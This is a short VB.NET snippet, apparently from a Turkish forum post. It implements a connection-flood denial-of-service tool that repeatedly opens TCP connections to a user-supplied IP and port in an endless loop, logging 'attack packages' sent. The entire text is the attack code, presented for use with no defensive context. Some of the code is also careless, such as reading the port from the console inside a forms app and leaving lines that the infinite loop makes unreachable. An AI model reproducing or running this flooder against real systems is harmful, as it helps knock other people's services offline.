Kod:
Timer3.Start()
Randomize()
ListBox2.Items.Add("Ping Starting Attack Packages > " & TextBox3.Text)
Dim ip As String = TextBox3.Text
TextBox4.Text = "Port (Def 80) :"
Dim porta As Integer = Console.ReadLine
Dim x As Integer
Do
Try
Dim iep As IPEndPoint
iep = New IPEndPoint(IPAddress.Parse(ip), Convert.ToInt32(porta))
Dim s As Socket = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
s.Connect(iep)
s.Close()
x += 1
ListBox2.ForeColor = Color.Lime
ListBox2.Items.Add("Gönderilen Paket: " & x)
Catch ex As Exception
ListBox2.ForeColor = Color.Red
ListBox2.Items.Add("Gönderilen Paket: " & x)
End Try
Loop
TextBox3.ReadOnly = True
TextBox4.Show()